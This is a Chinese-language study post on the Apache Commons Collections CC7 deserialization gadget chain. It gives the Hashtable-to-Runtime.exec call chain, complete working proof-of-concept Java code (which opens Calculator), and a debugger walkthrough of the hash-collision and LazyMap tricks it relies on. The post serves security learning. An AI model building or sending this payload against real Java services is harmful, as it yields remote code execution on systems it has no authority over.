CommonsCollection7反序列化链学习

CommonsCollections7 1、前置知识 Hashtable
Hashtable实现了Map接口和Serializable接口,因此,Hashtable现在集成到了集合框架中。它和HashMap类很相似,但是它支持同步,像HashMap一样,Hashtable在哈希表中存储键/值对。当使用一个哈希表,要指定用作键的对象,以及要链接到该键的值。然后,该键经过哈希处理,所得到的散列码被用作存储在该表中值的索引。

//默认没有参数的构造方,新建为11容量的Hashtable public Hashtable() { this(11, 0.75f); } //也可以指定容量 public Hashtable(int initialCapacity) { this(initialCapacity, 0.75f); } //将指定 key 映射到此哈希表中的指定 value。 public void put(Object key, Object value) // private void reconstitutionPut(Entry[] tab, K key, V value)

2、POC利用 2.1、利用链
/* Payload method chain: java.util.Hashtable.readObject java.util.Hashtable.reconstitutionPut org.apache.commons.collections.map.AbstractMapDecorator.equals java.util.AbstractMap.equals org.apache.commons.collections.map.LazyMap.get org.apache.commons.collections.functors.ChainedTransformer.transform org.apache.commons.collections.functors.InvokerTransformer.transform java.lang.reflect.Method.invoke sun.reflect.DelegatingMethodAccessorImpl.invoke sun.reflect.NativeMethodAccessorImpl.invoke sun.reflect.NativeMethodAccessorImpl.invoke0 java.lang.Runtime.exec */

2.2、POC
2.2.1、漏洞复现
package com.akkacloud; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Hashtable; import java.util.Map; public class CommonsCollection7 { public static void main(String[] args) throws Exception { // Reusing transformer chain and LazyMap gadgets from previous payloadsfinal Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"}) }; Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); //使用冲突哈希创建两个Lazymap,以便在readObject期间强制成功进入for循环调用reconstitutionPut Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("zZ", 1); // Use the colliding Maps as keys in Hashtable Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, 1); hashtable.put(lazyMap2, 2); Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers"); iTransformers.setAccessible(true); iTransformers.set(transformerChain,transformers); // Needed to ensure hash collision after previous manipulations lazyMap2.remove("yy"); //serialize(hashtable); unserialize(); } public static void serialize(Object obj ) throws Exception{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin")); objectOutputStream.writeObject(obj); } public static void unserialize() throws Exception{ ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin")); objectInputStream.readObject(); } }

CommonsCollection7反序列化链学习
文章图片

2.2.2、POC分析 由于跟cc6很相似,不再重复说明,直接看两者不同的地方.
主要是hashtable的add方法把Lazymap加入其中,但是为什么要put两次呢,就是存两个lazyMap2到hashtable中呢?
Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); //使用冲突哈希创建两个Lazymap,以便在readObject期间强制进行元素比较 Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("zZ", 1); // Use the colliding Maps as keys in Hashtable Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, 1); hashtable.put(lazyMap2, 2); Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers"); iTransformers.setAccessible(true); iTransformers.set(transformerChain,transformers); // Needed to ensure hash collision after previous manipulations lazyMap2.remove("yy");

我们来看Hashtable的readObject方法。发现循环调用调用reconstitutionPut方法,elements就是我们传入Hashtable的元素个数,
先看传入的第一个元素既lazymap1,reconstitutionPut方法的参数table就是一个长度为5的空Entry<>[],key是Lazymap1,value为1,就是我们第一个put进去的元素。跟进reconstitutionPut
CommonsCollection7反序列化链学习
文章图片

我们的漏洞点在for循环里面,但是第一次我们的tab为空,根本进不去,但是在后面会用我们传入的key和value新创建一个Entry<>,并且赋值给tab[index],这就是我们为什么要put两个lazymap到Hashtable里,用于进入reconstitutionPut的for循环去触发我们的漏洞点equal方法。
CommonsCollection7反序列化链学习
文章图片

至于最后的lazyMap2.remove("yy"),就是因为我们我们真正在LazyMap中要确保没有键值对关系,才能调用transform方法,跟cc6的一样的理由,不懂可以仔细看看cc6
CommonsCollection7反序列化链学习
文章图片

2.2.3、POC调试 在Hashtable的readObject方法处打断点,第一遍进入reconstitutionPut
CommonsCollection7反序列化链学习
文章图片

第一遍进入的主要目的是为了给tab赋值,以便第二次可以进入循环的equal方法
CommonsCollection7反序列化链学习
文章图片

第二遍成功进入for循环,此时的key就是我们设置空的lazymap
CommonsCollection7反序列化链学习
文章图片

跟进AbstractMapDecorator的equal方法,继续进入equal方法
CommonsCollection7反序列化链学习
文章图片

AbstractMap的equal方法,获取我们传入的lazymap的key和value,key为lazymap,value就是1,我们一开始构造的空lazymap,进入get方法,m就是我们传入的lazymap,所以是进入到lazymap的get方法,继续跟进
CommonsCollection7反序列化链学习
文章图片

进入lazymap后,就会反射把lazymap中ChainedTransformer修改为我们的恶意类。此处就是为什么要去除yy键值对的关系(lazyMap2.remove("yy"); ),去除后才能进入if里面执行transform方法。
CommonsCollection7反序列化链学习
文章图片

继续跟进ChainedTransformer的transform方法,循环结束就会RCE
CommonsCollection7反序列化链学习
文章图片

2.3、思维导图
【CommonsCollection7反序列化链学习】CommonsCollection7反序列化链学习
文章图片

    推荐阅读